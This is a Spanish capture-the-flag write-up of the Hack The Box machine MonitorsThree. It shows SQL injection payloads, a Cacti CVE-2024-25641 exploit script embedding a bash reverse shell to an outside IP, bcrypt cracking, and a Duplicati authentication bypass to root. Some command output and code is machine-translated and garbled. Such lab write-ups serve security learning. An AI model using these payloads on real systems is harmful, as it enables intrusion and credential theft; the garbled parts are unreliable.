# MonitorsThree (Inyección SQL)

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FaPHLypxRAsFeT0dwrzqq%2Fimage.png?alt=media&#x26;token=35ef0dcc-7810-4fc7-93a6-b3e7b53251b5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FUf2gJfIAAGIODROgMMvr%2Fimage.png?alt=media&#x26;token=a9494786-e512-4142-b551-d4afc09e06fe" alt=""><figcaption></figcaption></figure>

Entramos al puerto 80:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FYFFZxmbRivZXiRipleeY%2Fimage.png?alt=media&#x26;token=593ea2e2-6449-4bae-a08c-c6d1bc290dc9" alt=""><figcaption></figcaption></figure>

#### dirbúsqueda: <a href="#header-id-4" id="header-id-4"></a>

```
dirsearch -u monitorsthree.htb -t 50
```

Descubrir:`login.php`

### Difusión de subdominios (Dependiendo donde este tu diccionario) <a href="#header-id-5" id="header-id-5"></a>

```
ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt  -u http://monitorsthree.htb -H "Host:FUZZ.monitorsthree.htb" -ac 
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FtmFKCtx5rQfvD2HLrXVE%2Fimage.png?alt=media&#x26;token=dbf3b99b-69c1-4145-83f0-370a83bf7158" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FyJpntBLZiQm90vW3Hx08%2Fimage.png?alt=media&#x26;token=2d658b8e-63f9-4ce8-8129-bb981b50a96e" alt=""><figcaption><p>Entramos al subdominio</p></figcaption></figure>

#### Inyección SQL en el dominio <a href="#sql-injection-on-domain" id="sql-injection-on-domain"></a>

Cuando navego por el sitio encuentro una página de restablecimiento de contraseña.

<br>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FNMngqfiy3fHcaXt7VvW8%2Fimage.png?alt=media&#x26;token=25009c23-f5e6-40d9-97ac-ae2dfa433890" alt=""><figcaption></figcaption></figure>

* PARA HACER LA <mark style="color:green;">INYECCION SQL</mark> TENEMOS QUE COPIAR TODO LO QUE NOS ENTREGA EL BURPSUITE A UN ARCHIVO:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FJSZ1600QsfTRQvvcwIWf%2Fimage.png?alt=media&#x26;token=24a66678-2cd2-4246-8337-97cc11df5dca" alt=""><figcaption></figcaption></figure>

Ahora con el siguiente comando:

```
sqlmap -r solicitud.txt -dbms=mysql --dump 
```

Esto nos entrego el nombre de la base de datos:&#x20;

```
 _db
[22:24:21] [INFO] fetching tables for database: 'monitorsthre_db'
[22:24:21] [INFO] fetching number of tables for database 'monitorsthre_db'

```

Ahora que aprendí el nombre de la base de datos, probaré los nombres de tabla y columna predeterminados y extraeré los datos:

```
sqlmap -r request.txt --batch -T users -C nombredeusuario,contraseña -D monitorsthree_db --dump --level=3 --risk=3 --threads=10 --skip=dbs,nombredehost
```

```
[07:24:54] [ADVERTENCIA] No se encontraron contraseñas claras                                                                                                                                             
Base de datos: monitorsthree_db
Tabla: usuarios
[4 entradas]
+-----------+----------------------------------+
| nombre de usuario | contraseña |
+-----------+----------------------------------+
| janderson | 1e68b6eb86b45f6d92f8f292428f77ac |
| administrador | 31a181c8372e3afc59dab863430610e8 |
| 633b683cc128fe244b00f176c8a950f5 |
| mwatson | c585d01f2eb3e6e1073e92023088a3dd |
+-----------+----------------------------------+
```

OTRA MANERA:

Como Sqlmap realmente se estaba ejecutando demasiado lento y había un mensaje de error, lo probé y descubrí que podía informar el error directamente e inyectarlo.

```
admin' and extractvalue(1,concat('~',database()))#
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FOM3k1M6cdoifl9EtgeNB%2Fimage.png?alt=media&#x26;token=128fb575-6edf-487c-9d8f-52c164c71c80" alt=""><figcaption></figcaption></figure>

Encontré una tabla de usuarios

```
admin' AND extractvalue(1,concat('~',(SELECT SUBSTRING(GROUP_CONCAT(column_name),1,30) FROM information_schema.columns WHERE table_name='users')))#
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FkmNDavW4k2apZsOVQB9Y%2Fimage.png?alt=media&#x26;token=fcc81516-a576-4638-84be-35ebb1c731e9" alt=""><figcaption></figcaption></figure>

\-----------------------------------------------------------------------------------------------

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F71dpry6AfenUNZX9NLmn%2Fimage.png?alt=media&#x26;token=206f9d0f-ff39-4b13-8144-fb3aa43f3634" alt=""><figcaption></figcaption></figure>

* #### **CVE-2024-25641**

  En primer lugar, creo un exploit llamado`test.php`

`Codigo:`

```
<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = '<?php exec("bash -c \'bash -i >& /dev/tcp/10.10.16.4/4444  0>&1\'") ?>';
$keypair = openssl_pkey_new(); 
$public_key = openssl_pkey_get_details($keypair)["key"]; 
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");

?>

```

Esto nos entrega un test.xml.gz al ejecutar&#x20;

```markup
php test.php
```

Ahora al entrar al direcorio donde se importo el test.php nos tendria que dar la revershell:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FFUeMS4IiVDwSHCHf3UoU%2Fimage.png?alt=media&#x26;token=0ab43ac1-d924-4968-9c6b-53a920c39a65" alt=""><figcaption></figcaption></figure>

Ahora buscando entramos a:&#x20;

```markup
/var/www/html/cacti/include/config.php
```

Contiene:

```
$tipo_de_base_de_datos = 'mysql';
$database_default = 'cactus';
$nombre_host_de_base_de_datos = 'localhost';
$nombre_usuario_base_de_datos = 'cactiuser';
$contraseña_base_de_datos = 'cactiuser';
$puerto_base_de_datos = '3306';
$database_retries = 5;
$database_ssl = falso;
$clave_ssl_base_de_datos = '';
$certificado_ssl_base_de_datos = '';
$base de datos_ssl_ca = '';
$database_persist = falso;
```

Me conecto a mysql:

```
mysql -u cactiuser -p cacti
```

```
Enter password: cactiuser
```

```markup
USE cacti;
show tables;
```

Estoy sacando todos los datos de la `user_auth`tabla:

```markup
SELECT * FROM user_auth;
```

```markup
id      username        password        realm   full_name       email_address   must_change_password    password_change show_tree       show_list       show_preview    graph_settings  login_opts   policy_graphs   policy_trees    policy_hosts    policy_graph_templates  enabled lastchange      lastlogin       password_history        locked  failed_attempts lastfail        reset_perms
1       admin   $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G    0       Administrator   marcus@monitorsthree.htb                        on      on      on      on      2   11       1       1       on      -1      -1      -1              0       0       436423766
3       guest   $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu    0       Guest Account   guest@monitorsthree.htb                 on      on      on              1       1   11       1               -1      -1      -1              0       0       3774379591
4       marcus  $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IB
```

Ahora lo usaré `hashcat`para romper el `marcus`pase.

```
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt       
 
hashcat (v6.2.6) iniciando
 


la API OpenCL (OpenCL 3.0 PoCL 5.0+debian Linux, Ninguno+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Plataforma #1 [El proyecto pocl]
 
================================================== ================================================== ================================================
 
* Dispositivo n.° 1 : cpu-sandybridge-Intel(R) Core(TM) i7-8750H CPU a 2,20 GHz, 2240/4545 MB (1024 MB asignables), 4 MCU
 


Longitud mínima de contraseña compatible con el kernel: 0
 
Longitud máxima de contraseña compatible con el kernel: 72
 


Hashes: 1 resúmenes; 1 resumen único, 1 sal única
 
Mapas de bits: 16 bits, 65536 entradas, máscara 0x0000ffff, 262144 bytes, 5/13 rotaciones
 
Reglas: 1
 


Optimizadores aplicados:
 
* Byte cero
 
* Hash único
 
* Sal única
 


Vigilante: El disparador de cancelación de temperatura está establecido en Memoria de host 90c
 


requerida para este ataque: 0 MB
 


Caché de diccionario alcanzada:
 
* Nombre de archivo..: /usr/share/wordlists/rockyou.txt
 
* Contraseñas..: 14344385
 
* Bytes.....: 139921507
 
* Espacio de claves..: 14344385
 


Cracking ¿El rendimiento es menor al esperado?                 
 


* Agregue -w 3 a la línea de comandos.
 
  Esto puede hacer que la pantalla se retrase.
 


* Agregue -S a la línea de comandos.
 
  Esto tiene un impacto drástico en la velocidad, pero puede ser mejor para ataques específicos.
 
  Los escenarios típicos son una pequeña lista de palabras pero un amplio conjunto de reglas.
 


* Actualice el controlador/tiempo de ejecución de su API de backend de la manera correcta:
 
  https://hashcat.net/faq/wrongdriver
 


* Cree más elementos de trabajo para aprovechar su poder de paralelización:
 
  https://hashcat.net/faq/morework
 


$2y$10 $Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK:12345678910
 
                                                          

Sesión..........: hashcat
 
Estado...........: Crackeado
 
Hash.Mode........: 3200 (bcrypt $2* $, Blowfish (Unix))
 
Hash.Target......: $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIa...9IBjtK
 
Hora.Inicio.....: Mié 28 de agosto 07:58:43 2024 (12 segundos)
 
Tiempo estimado...: Mié 28 ago 07:58:55 2024 (0 segundos)
 
Kernel.Feature...: Pure Kernel
 
Guess.Base.......: Archivo (/usr/share/wordlists/rockyou.txt)
 
Guess.Queue......: 1/1 (100,00 %)
 
Velocidad.#1.........: 38 H/s (6,29 ms) @ Accel:4 Loops:16 Thr:1 Vec:1
 
Recuperado........: 1/1 (100,00 %) Resúmenes (totales), 1/1 (100,00 %) Resúmenes (nuevos)
 
Progreso. ........: 448/14344385 (0,00%)
 
Rechazado.........: 0/448 (0,00%)
 
Punto de restauración....: 432/14344385 (0,00%)

Restaurar.Sub.#1...: Sal:0 Amplificador:0-1 Iteración:1008-1024
 
Candidato.Motor.: Generador de dispositivos
 
Candidatos.#1....: 12345678910 -> miamor
 
Hardware.Mon.#1..: Utilidad: 87%
 


Iniciado: Mié Ago 28 07:58:36 2024
 
Detenido: Mié Ago 28 07:58:56 2024
```

Contraseña\_: 12345678910

```
www-data@monitorsthree:~/html/cacti/resource$ su marcos
su marcos
su: user marcos does not exist or the user entry does not contain all the required fields
www-data@monitorsthree:~/html/cacti/resource$ su marcus
su marcus
Password: 12345678910
whoami
marcus
id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
ls
index.php
script_queries
script_server
snmp_queries
cat /home/marcus/user.txt
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F60TWw1l0BXnDYK3UoC0G%2Fimage.png?alt=media&#x26;token=31c5f679-4528-4721-be04-4e33b4d7bbf8" alt=""><figcaption></figcaption></figure>

Entramos con la llave:

```
┌──(docker㉿docker)-[~/HackBox]
└─$ chmod 600 id_rsa    
                                                                                                                                                                                                                   
┌──(docker㉿docker)-[~/HackBox]
└─$ ssh -i id_rsa marcus@monitorsthree.htb    
```

**Enumeración de puertos abiertos adentro de la maquina:**

```
netstat -tlnp 
```

```
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name                                                                                                                   
tcp        0      0 0.0.0.0:8084            0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp        0      0 127.0.0.1:8200          0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp        0      0 127.0.0.1:36483         0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                                                                                                                                  
tcp6       0      0 :::80                   :::*                    LISTEN      -                                                                                                                                  
tcp6       0      0 :::22                   :::*                    LISTEN      -                                                                                                                                  
marcus@monitorsthree:~$                                                                                                                                                                                            
                               
```

Veo el puerto 8200 aquí y entiendo que puedo trasladarlo a mi máquina local.

```
ssh marcus@monitorsthree.htb -L 8200:127.0.0.1:8200 -i id_rsa
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FwLwvDTkoWeBeuuHZxoX6%2Fimage.png?alt=media&#x26;token=823710a9-1e5f-4767-addc-6c72f0bb3509" alt=""><figcaption></figcaption></figure>

Cuando busco, llego a la información importante sobre duplicati en el `/opt/duplicati/config`directorio y descargo el archivo de la base de datos:

En la maquina victima  al entrar al mismo directorio se encontro un .sqlite:

```
marcus@monitorsthree:/opt/duplicati/config$ ls
CTADPNHLTC.sqlite  Duplicati-server.sqlite  IIFUQOTYCT.sqlite  control_dir_v2
marcus@monitorsthree:/opt/duplicati/config$ 
```

Lo descargaremos en nuestra maquina para ver que contiene:

```
scp -i id_rsa marcus@monitorsthree.htb:/opt/duplicati/config/Duplicati-server.sqlite .
```

Una vez descargado:

```
sqlite3 Duplicati-server.sqlite  
.tables 
SELECT * from Opción;
```

```
sqlite> SELECT * from Option;
4||encryption-module|
4||compression-module|zip
4||dblock-size|50mb
4||--no-encryption|true
-1||--asynchronous-upload-limit|50
-1||--asynchronous-concurrent-upload-limit|50
-2||startup-delay|0s
-2||max-download-speed|
-2||max-upload-speed|
-2||thread-priority|
-2||last-webserver-port|8200
-2||is-first-run|
-2||server-port-changed|True
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|df383830-e7ee-4b3d-b0ce-9914d1ad5324
-2||server-passphrase-trayicon-hash|gyD6Y3+7KBgf9zUw21JfhNrXfFTh0W6keyX+UiaGCaA=
-2||last-update-check|638709389567946590
-2||update-check-interval|
-2||update-check-latest|
-2||unacked-error|False
-2||unacked-warning|False
-2||server-listen-interface|any
-2||server-ssl-certificate|
-2||has-fixed-invalid-backup-id|True
-2||update-channel|
-2||usage-reporter-level|
-2||has-asked-for-password-protection|true
-2||disable-tray-icon-login|false
-2||allowed-hostnames|*
sqlite> 

```

Sigo exactamente esta [fuente](https://github.com/duplicati/duplicati/issues/5197) para poder iniciar sesión.

1\) Primero, decodificaré el valor de la contraseña del servidor que obtuve en la base de datos `base64`y luego lo convertiré al `hexadecimal`formato (hexadecimal).

```
echo 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p -c 256 
```

2. Cuando reenvío esto como una intercepción en burp, ya no veré un get-nonce, en su lugar veré un parámetro de contraseña.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2Fa5RP5PR3L5SA79I7MC66%2Fimage.png?alt=media&#x26;token=6f3b5833-2e3f-4084-b776-38ed797f732b" alt=""><figcaption></figcaption></figure>

3. Todo será como se muestra a continuación, solo haga que el valor nonce en burp sea el mismo que el suyo y no olvide decodificar el valor nonce en la URL.

```markup
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; 
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('NonceFromBurp') + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FTx7gFn6xxl40sHtQSUT9%2Fimage.png?alt=media&#x26;token=7b26a510-0fe4-4855-8030-d04ef5b12fbe" alt=""><figcaption></figcaption></figure>

4\) Ahora cambio el valor noncedpwd que obtuve con mi parámetro de contraseña en burp.

**¡No olvides codificar la URL del valor que obtuviste, de lo contrario no podrás iniciar sesión! CTRL + U para eructar.**

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FhzuIv21uMoZOZBQLGbdO%2Fimage.png?alt=media&#x26;token=8a65fb88-6151-4e3c-81b9-42eeb255a617" alt=""><figcaption></figcaption></figure>

**Realizar copia de seguridad como root**

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FIykrO86gnXJXnmqnyTJT%2Fimage.png?alt=media&#x26;token=eb337060-8cd7-4b0c-a445-145de82c0b1e" alt=""><figcaption></figcaption></figure>

```
marcus@monitorsthree:~$ pwd
 
/home/marcus
 
marcus@monitorsthree:~$ ls -la
 
total 48
 
drwxr-x--- 5 marcus marcus 4096 28 ago 00:53 .
 
drwxr-xr-x 3 root root 4096 26 de mayo 16:34 ..
 
lrwxrwxrwx 1 root root 9 16 de agosto 11:29 .bash_history -> /dev/null
 
-rw-r--r-- 1 marcus marcus 220 6 de enero de 2022 .bash_logout
 
-rw-r--r-- 1 marcus marcus 3771 6 de enero de 2022 .bashrc
 
drwx------ 2 marcus marcus 4096 16 de agosto 11:35 .cache
 
-rw-r--r-- 1 marcus marcus 807 6 de enero de 2022 .profile
 
drwx------ 2 marcus marcus 4096 27 de agosto 23:35 .ssh
 
-rw-r--r-- 1 raíz raíz 637 28 ago 00:46 duplicati-20240828T004650Z.dlist.zip
 
-rw-r--r-- 1 raíz raíz 717 28 ago 00:46 duplicati-bc6a5f7c6addc4f44b8430b865198f34a.dblock.zip
 
-rw-r--r-- 1 raíz raíz 608 28 ago 00:46 duplicati-i703d81b1824b49398069e72a56e72ec6.dindex.zip
 
drwxr-xr-x 2 raíz raíz 4096 28 ago 00:53 root.txt
 
-rw-r----- 1 raíz marcus 33 27 ago 23:35 usuario.txt
 
marcus@monitorsthree:~$ cd root.txt
 
marcus@monitorsthree:~/root.txt$ ls
 
root.txt
```

FIN...
